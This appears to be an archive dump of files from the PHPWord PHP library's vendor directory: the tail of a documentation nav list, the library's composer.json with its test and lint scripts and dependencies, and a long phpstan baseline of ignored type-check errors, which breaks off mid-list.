      - '0.9.1': 'changes/0.x/0.9.1.md'
      - '0.9.0': 'changes/0.x/0.9.0.md'
      - '0.8.1': 'changes/0.x/0.8.1.md'
      - '0.8.0': 'changes/0.x/0.8.0.md'
      - '0.7.0': 'changes/0.x/0.7.0.md'
  - Developers:
    - 'Coveralls': 'https://coveralls.io/github/PHPOffice/PHPWord'
    - 'Code Coverage': 'coverage/index.html'
    - 'PHPDoc': 'docs/index.html'
vendor/phpoffice/phpword/composer.json000066600000006406151150442730014225 0ustar00{
    "name": "phpoffice/phpword",
    "description": "PHPWord - A pure PHP library for reading and writing word processing documents (OOXML, ODF, RTF, HTML, PDF)",
    "keywords": [
        "PHP", "PHPOffice", "office", "PHPWord", "word", "template", "template processor", "reader", "writer",
        "docx", "OOXML", "OpenXML", "Office Open XML", "ISO IEC 29500", "WordprocessingML",
        "RTF", "Rich Text Format", "doc", "odt", "ODF", "OpenDocument", "PDF", "HTML"
    ],
    "homepage": "https://phpoffice.github.io/PHPWord/",
    "type": "library",
    "license": "LGPL-3.0",
    "authors": [
        {
            "name": "Mark Baker"
        },
        {
            "name": "Gabriel Bull",
            "email": "me@gabrielbull.com",
            "homepage": "http://gabrielbull.com/"
        },
        {
            "name": "Franck Lefevre",
            "homepage": "https://rootslabs.net/blog/"
        },
        {
            "name": "Ivan Lanin",
            "homepage": "http://ivan.lanin.org"
        },
        {
            "name": "Roman Syroeshko",
            "homepage": "http://ru.linkedin.com/pub/roman-syroeshko/34/a53/994/"
        },
        {
            "name": "Antoine de Troostembergh"
        }
    ],
    "scripts": {
        "test": [
            "phpunit --color=always"
        ],
        "test-no-coverage": [
            "phpunit --color=always --no-coverage"
        ],
        "check": [
            "php-cs-fixer fix --ansi --dry-run --diff",
            "phpcs --report-width=200 --report-summary --report-full samples/ src/ tests/ --ignore=src/PhpWord/Shared/PCLZip --standard=PSR2 -n",
            "phpmd src/,tests/ text ./phpmd.xml.dist --exclude pclzip.lib.php",
            "@test-no-coverage",
            "phpstan analyse --ansi"
        ],
        "fix": [
            "php-cs-fixer fix --ansi"
        ]
    },
    "scripts-descriptions": {
        "test": "Runs all unit tests",
        "test-no-coverage": "Runs all unit tests, without code coverage",
        "check": "Runs PHP CheckStyle and PHP Mess detector",
        "fix": "Fixes issues found by PHP-CS"
    },
    "config": {
        "platform": {
            "php": "8.0"
        }
    },
    "require": {
        "php": "^7.1|^8.0",
        "ext-dom": "*",
        "ext-json": "*",
        "ext-xml": "*",
        "phpoffice/math": "^0.2"
    },
    "require-dev": {
        "ext-zip": "*",
        "ext-gd": "*",
        "ext-libxml": "*",
        "dompdf/dompdf": "^2.0",
        "mpdf/mpdf": "^8.1",
        "phpmd/phpmd": "^2.13",
        "phpunit/phpunit": ">=7.0",
        "tecnickcom/tcpdf": "^6.5",
        "symfony/process": "^4.4 || ^5.0",
        "friendsofphp/php-cs-fixer": "^3.3",
        "phpstan/phpstan-phpunit": "@stable"
    },
    "suggest": {
        "ext-zip": "Allows writing OOXML and ODF",
        "ext-gd2": "Allows adding images",
        "ext-xmlwriter": "Allows writing OOXML and ODF",
        "ext-xsl": "Allows applying XSL style sheet to headers, to main document part, and to footers of an OOXML template",
        "dompdf/dompdf": "Allows writing PDF"
    },
    "autoload": {
        "psr-4": {
            "PhpOffice\\PhpWord\\": "src/PhpWord"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "PhpOffice\\PhpWordTests\\": "tests/PhpWordTests"
        }
    }
}
vendor/phpoffice/phpword/phpstan-baseline.neon000066600000230501151150442730015614 0ustar00parameters:
	ignoreErrors:
		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer\\:\\:__call\\(\\) should return PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement but returns null\\.$#"
			count: 1
			path: src/PhpWord/Element/AbstractContainer.php

		-
			message: "#^Parameter \\#1 \\$objectOrClass of class ReflectionClass constructor expects class\\-string\\<T of object\\>\\|T of object, string given\\.$#"
			count: 1
			path: src/PhpWord/Element/AbstractContainer.php

		-
			message: "#^Parameter \\#1 \\$string of function md5 expects string, int\\<0, max\\> given\\.$#"
			count: 1
			path: src/PhpWord/Element/AbstractElement.php

		-
			message: "#^Parameter \\#2 \\$styleValue of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:setNewStyle\\(\\) expects array\\|PhpOffice\\\\PhpWord\\\\Style\\|string\\|null, array\\|PhpOffice\\\\PhpWord\\\\Style\\\\Cell\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Element/Cell.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\Field\\:\\:setOptions\\(\\) should return PhpOffice\\\\PhpWord\\\\Element\\\\Field but returns array\\.$#"
			count: 1
			path: src/PhpWord/Element/Field.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\Field\\:\\:setProperties\\(\\) should return PhpOffice\\\\PhpWord\\\\Element\\\\Field but returns array\\.$#"
			count: 1
			path: src/PhpWord/Element/Field.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Element\\\\Field\\:\\:\\$fontStyle \\(PhpOffice\\\\PhpWord\\\\Style\\\\Font\\|string\\) does not accept null\\.$#"
			count: 1
			path: src/PhpWord/Element/Field.php

		-
			message: "#^Result of \\|\\| is always true\\.$#"
			count: 1
			path: src/PhpWord/Element/Field.php

		-
			message: "#^Parameter \\#2 \\$styleValue of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:setNewStyle\\(\\) expects array\\|PhpOffice\\\\PhpWord\\\\Style\\|string\\|null, array\\|PhpOffice\\\\PhpWord\\\\Style\\\\Paragraph\\|string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Element/Footnote.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\Image\\:\\:getArchiveImageSize\\(\\) should return array\\|null but returns array<int\\|string, int\\|string>\\|false\\|null\\.$#"
			count: 1
			path: src/PhpWord/Element/Image.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\Image\\:\\:getImageString\\(\\) should return string\\|null but returns string\\|false\\|null\\.$#"
			count: 1
			path: src/PhpWord/Element/Image.php

		-
			message: "#^Parameter \\#1 \\$callback of function call_user_func expects callable\\(\\)\\: mixed, string given\\.$#"
			count: 1
			path: src/PhpWord/Element/Image.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Element\\\\Image\\:\\:\\$source \\(string\\) does not accept string\\|false\\.$#"
			count: 1
			path: src/PhpWord/Element/Image.php

		-
			message: "#^Offset 'extension' does not exist on array\\{dirname\\?\\: string, basename\\: string, extension\\?\\: string, filename\\: string\\}\\.$#"
			count: 2
			path: src/PhpWord/Element/OLEObject.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Element\\\\OLEObject\\:\\:\\$icon \\(string\\) does not accept string\\|false\\.$#"
			count: 1
			path: src/PhpWord/Element/OLEObject.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\Section\\:\\:addHeader\\(\\) should return PhpOffice\\\\PhpWord\\\\Element\\\\Header but returns PhpOffice\\\\PhpWord\\\\Element\\\\Footer\\.$#"
			count: 1
			path: src/PhpWord/Element/Section.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Element\\\\Section\\:\\:addHeaderFooter\\(\\) should return PhpOffice\\\\PhpWord\\\\Element\\\\Footer but returns PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer\\.$#"
			count: 1
			path: src/PhpWord/Element/Section.php

		-
			message: "#^Parameter \\#2 \\$styleValue of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:setNewStyle\\(\\) expects array\\|PhpOffice\\\\PhpWord\\\\Style\\|string\\|null, array\\|PhpOffice\\\\PhpWord\\\\Style\\|PhpOffice\\\\PhpWord\\\\Style\\\\Section\\|string given\\.$#"
			count: 1
			path: src/PhpWord/Element/Section.php

		-
			message: "#^Parameter \\#3 \\$length of function substr expects int\\|null, int\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Element/Section.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Escaper\\\\Rtf\\:\\:escapeAsciiCharacter\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Escaper/Rtf.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Escaper\\\\Rtf\\:\\:escapeAsciiCharacter\\(\\) has parameter \\$code with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Escaper/Rtf.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Escaper\\\\Rtf\\:\\:escapeMultibyteCharacter\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Escaper/Rtf.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Escaper\\\\Rtf\\:\\:escapeMultibyteCharacter\\(\\) has parameter \\$code with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Escaper/Rtf.php

		-
			message: "#^Cannot instantiate interface PhpOffice\\\\PhpWord\\\\Writer\\\\WriterInterface\\.$#"
			count: 1
			path: src/PhpWord/IOFactory.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\IOFactory\\:\\:createObject\\(\\) should return PhpOffice\\\\PhpWord\\\\Reader\\\\ReaderInterface\\|PhpOffice\\\\PhpWord\\\\Writer\\\\WriterInterface but returns object\\.$#"
			count: 1
			path: src/PhpWord/IOFactory.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\IOFactory\\:\\:createReader\\(\\) should return PhpOffice\\\\PhpWord\\\\Reader\\\\ReaderInterface but returns PhpOffice\\\\PhpWord\\\\Reader\\\\ReaderInterface\\|PhpOffice\\\\PhpWord\\\\Writer\\\\WriterInterface\\.$#"
			count: 1
			path: src/PhpWord/IOFactory.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\IOFactory\\:\\:createWriter\\(\\) should return PhpOffice\\\\PhpWord\\\\Writer\\\\WriterInterface but returns PhpOffice\\\\PhpWord\\\\Writer\\\\PDF\\|PhpOffice\\\\PhpWord\\\\Writer\\\\WriterInterface\\.$#"
			count: 1
			path: src/PhpWord/IOFactory.php

		-
			message: "#^Parameter \\#1 \\$objectOrClass of class ReflectionClass constructor expects class\\-string\\<T of object\\>\\|T of object, string given\\.$#"
			count: 1
			path: src/PhpWord/IOFactory.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\PhpWord\\:\\:getDefaultFontSize\\(\\) should return int but returns float\\|int\\.$#"
			count: 1
			path: src/PhpWord/PhpWord.php

		-
			message: "#^Parameter \\#1 \\$callback of function forward_static_call_array expects callable\\(\\)\\: mixed, array\\{'PhpOffice\\\\\\\\PhpWord…', string\\} given\\.$#"
			count: 1
			path: src/PhpWord/PhpWord.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Reader\\\\AbstractReader\\:\\:openFile\\(\\) should return resource but return statement is missing\\.$#"
			count: 1
			path: src/PhpWord/Reader/AbstractReader.php

		-
			message: "#^Parameter \\#2 \\$html of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:addHtml\\(\\) expects string, string\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Reader/HTML.php

		-
			message: "#^Offset 'textNodes' on array\\{changed\\: PhpOffice\\\\PhpWord\\\\Element\\\\TrackChange, textNodes\\: DOMNodeList\\<DOMElement\\>\\} in isset\\(\\) always exists and is not nullable\\.$#"
			count: 1
			path: src/PhpWord/Reader/ODText/Content.php

		-
			message: "#^Parameter \\#2 \\$contextNode of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLReader\\:\\:getElements\\(\\) expects DOMElement\\|null, DOMNode\\|null given\\.$#"
			count: 2
			path: src/PhpWord/Reader/ODText/Content.php

		-
			message: "#^Parameter \\#2 \\$depth of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer\\:\\:addTitle\\(\\) expects int, string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/ODText/Content.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Reader\\\\RTF\\\\Document\\:\\:\\$rtf \\(string\\) does not accept string\\|false\\.$#"
			count: 1
			path: src/PhpWord/Reader/RTF.php

		-
			message: "#^Cannot call method setStyleByArray\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Font\\|string\\.$#"
			count: 1
			path: src/PhpWord/Reader/RTF/Document.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Reader\\\\RTF\\\\Document\\:\\:\\$phpWord is never read, only written\\.$#"
			count: 1
			path: src/PhpWord/Reader/RTF/Document.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Reader\\\\ReaderInterface\\:\\:load\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Reader/ReaderInterface.php

		-
			message: "#^Parameter \\#1 \\$string of function substr expects string, string\\|false given\\.$#"
			count: 2
			path: src/PhpWord/Reader/Word2007.php

		-
			message: "#^Parameter \\#2 \\$xmlFile of method PhpOffice\\\\PhpWord\\\\Reader\\\\Word2007\\:\\:getRels\\(\\) expects string, string\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007.php

		-
			message: "#^Parameter \\#3 \\$subject of function str_replace expects array\\|string, string\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007.php

		-
			message: "#^Binary operation \"/\" between string\\|null and 2 results in an error\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Call to an undefined method DOMNode\\:\\:getAttribute\\(\\)\\.$#"
			count: 2
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Reader\\\\Word2007\\\\AbstractPart\\:\\:getHeadingDepth\\(\\) never returns float so it can be removed from the return type\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Reader\\\\Word2007\\\\AbstractPart\\:\\:getHeadingDepth\\(\\) should return float\\|int\\|null but returns string\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Reader\\\\Word2007\\\\AbstractPart\\:\\:read\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#1 \\$depth of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer\\:\\:addListItemRun\\(\\) expects int, string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#1 \\$height of method PhpOffice\\\\PhpWord\\\\Element\\\\Table\\:\\:addRow\\(\\) expects int\\|null, string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#1 \\$value of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractElement\\:\\:setRelationId\\(\\) expects int, string\\|null given\\.$#"
			count: 2
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#1 \\$width of method PhpOffice\\\\PhpWord\\\\Element\\\\Row\\:\\:addCell\\(\\) expects int\\|null, string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#2 \\$contextNode of method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLReader\\:\\:getAttribute\\(\\) expects DOMElement\\|null, DOMNode\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#2 \\$depth of method PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer\\:\\:addTitle\\(\\) expects int, float\\|int given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Strict comparison using \\=\\=\\= between null and DOMElement will always evaluate to false\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/AbstractPart.php

		-
			message: "#^Parameter \\#2 \\$relationId of method PhpOffice\\\\PhpWord\\\\Reader\\\\Word2007\\\\Footnotes\\:\\:getElement\\(\\) expects int, string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/Footnotes.php

		-
			message: "#^Parameter \\#3 \\$levelId of method PhpOffice\\\\PhpWord\\\\Reader\\\\Word2007\\\\Numbering\\:\\:readLevel\\(\\) expects int, string\\|null given\\.$#"
			count: 2
			path: src/PhpWord/Reader/Word2007/Numbering.php

		-
			message: "#^Parameter \\#1 \\$comments of method PhpOffice\\\\PhpWord\\\\ComplexType\\\\TrackChangesView\\:\\:setComments\\(\\) expects bool\\|null, string\\|null given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/Settings.php

		-
			message: "#^Parameter \\#1 \\$consecutiveHyphenLimit of method PhpOffice\\\\PhpWord\\\\Metadata\\\\Settings\\:\\:setConsecutiveHyphenLimit\\(\\) expects int, string given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/Settings.php

		-
			message: "#^Parameter \\#1 \\$hyphenationZone of method PhpOffice\\\\PhpWord\\\\Metadata\\\\Settings\\:\\:setHyphenationZone\\(\\) expects float\\|int\\|null, string given\\.$#"
			count: 1
			path: src/PhpWord/Reader/Word2007/Settings.php

		-
			message: "#^Parameter \\#1 \\$filename of function parse_ini_file expects string, string\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Settings.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\AbstractEnum\\:\\:getConstants\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/AbstractEnum.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\AbstractEnum\\:\\:\\$constCacheArray has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/AbstractEnum.php

		-
			message: "#^Binary operation \"/\" between string and 10 results in an error\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:angleToDegree\\(\\) should return int but returns float\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:cssToPoint\\(\\) should return float\\|null but returns string\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:htmlToRgb\\(\\) should return array but returns false\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:inchToEmu\\(\\) should return int but returns float\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:pixelToEmu\\(\\) should return int but returns float\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Parameter \\#1 \\$centimeter of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:cmToPoint\\(\\) expects float, string given\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Parameter \\#1 \\$inch of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:inchToPoint\\(\\) expects float, string given\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Parameter \\#1 \\$pica of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:picaToPoint\\(\\) expects float, string given\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Parameter \\#1 \\$pixel of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Converter\\:\\:pixelToPoint\\(\\) expects float, string given\\.$#"
			count: 1
			path: src/PhpWord/Shared/Converter.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Drawing\\:\\:angleToDegrees\\(\\) should return int but returns float\\.$#"
			count: 1
			path: src/PhpWord/Shared/Drawing.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Drawing\\:\\:emuToPixels\\(\\) should return int but returns float\\.$#"
			count: 1
			path: src/PhpWord/Shared/Drawing.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Drawing\\:\\:pixelsToEmu\\(\\) should return int but returns float\\.$#"
			count: 1
			path: src/PhpWord/Shared/Drawing.php

		-
			message: "#^Binary operation \"\\*\" between string and 50 results in an error\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Call to an undefined method DOMNode\\:\\:getAttribute\\(\\)\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Cannot call method setBorderSize\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Table\\|string\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Cannot call method setStyleName\\(\\) on PhpOffice\\\\PhpWord\\\\Style\\\\Table\\|string\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^If condition is always true\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:addHtml\\(\\) has parameter \\$options with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:filterOutNonInheritedStyles\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:mapBorderColor\\(\\) has parameter \\$cssBorderColor with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:mapBorderColor\\(\\) has parameter \\$styles with no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:mapListType\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:parseLink\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:parseList\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:parseStyleDeclarations\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:recursiveParseStylesInHierarchy\\(\\) has no return type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Parameter \\#1 \\$attribute of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:parseStyle\\(\\) expects DOMAttr, DOMNode given\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Parameter \\#2 \\$element of static method PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:parseNode\\(\\) expects PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer, PhpOffice\\\\PhpWord\\\\Element\\\\AbstractContainer\\|PhpOffice\\\\PhpWord\\\\Element\\\\Row\\|PhpOffice\\\\PhpWord\\\\Element\\\\Table given\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:\\$listIndex has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:\\$options has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\Html\\:\\:\\$xpath has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Result of \\|\\| is always true\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Right side of && is always true\\.$#"
			count: 1
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Variable \\$cNodes in empty\\(\\) always exists and is not falsy\\.$#"
			count: 2
			path: src/PhpWord/Shared/Html.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\Microsoft\\\\PasswordEncoder\\:\\:\\$encryptionMatrix has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Microsoft/PasswordEncoder.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\Microsoft\\\\PasswordEncoder\\:\\:\\$initialCodeArray has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Microsoft/PasswordEncoder.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\Microsoft\\\\PasswordEncoder\\:\\:\\$passwordMaxLength has no type specified\\.$#"
			count: 1
			path: src/PhpWord/Shared/Microsoft/PasswordEncoder.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\XMLWriter\\:\\:getData\\(\\) should return string but returns string\\|false\\.$#"
			count: 1
			path: src/PhpWord/Shared/XMLWriter.php

		-
			message: "#^Call to method add\\(\\) on an unknown class PclZip\\.$#"
			count: 2
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method addFromString\\(\\) on an unknown class PclZip\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method close\\(\\) on an unknown class PclZip\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method extract\\(\\) on an unknown class PclZip\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method extractByIndex\\(\\) on an unknown class PclZip\\.$#"
			count: 3
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method extractTo\\(\\) on an unknown class PclZip\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method getFromName\\(\\) on an unknown class PclZip\\.$#"
			count: 2
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Call to method listContent\\(\\) on an unknown class PclZip\\.$#"
			count: 3
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Comparison operation \"\\!\\=\" between array and 0 results in an error\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Constant PCLZIP_OPT_ADD_PATH not found\\.$#"
			count: 2
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Constant PCLZIP_OPT_EXTRACT_AS_STRING not found\\.$#"
			count: 2
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Constant PCLZIP_OPT_PATH not found\\.$#"
			count: 2
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Constant PCLZIP_OPT_REMOVE_PATH not found\\.$#"
			count: 2
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Instantiated class PclZip not found\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\ZipArchive\\:\\:getFromName\\(\\) should return string but returns string\\|false\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Shared\\\\ZipArchive\\:\\:open\\(\\) should return bool but returns int\\|true\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Offset 'dirname' does not exist on array\\{dirname\\?\\: string, basename\\: string, extension\\?\\: string, filename\\: string\\}\\.$#"
			count: 3
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^PHPDoc tag @var for variable \\$zip contains unknown class PclZip\\.$#"
			count: 6
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Parameter \\#1 \\$callback of function call_user_func_array expects callable\\(\\)\\: mixed, array\\{\\$this\\(PhpOffice\\\\PhpWord\\\\Shared\\\\ZipArchive\\)\\|PclZip\\|ZipArchive, mixed\\} given\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Parameter \\#1 \\$stream of function fclose expects resource, resource\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Parameter \\#1 \\$stream of function fwrite expects resource, resource\\|false given\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Property PhpOffice\\\\PhpWord\\\\Shared\\\\ZipArchive\\:\\:\\$zip has unknown class PclZip as its type\\.$#"
			count: 1
			path: src/PhpWord/Shared/ZipArchive.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\:\\:addFontStyle\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style.php

		-
			message: "#^Method PhpOffice\\\\PhpWord\\\\Style\\:\\:addLinkStyle\\(\\) should return PhpOffice\\\\PhpWord\\\\Style\\\\Font but returns PhpOffice\\\\PhpWord\\\\Style\\\\AbstractStyle\\.$#"
			count: 1
			path: src/PhpWord/Style.php

		-
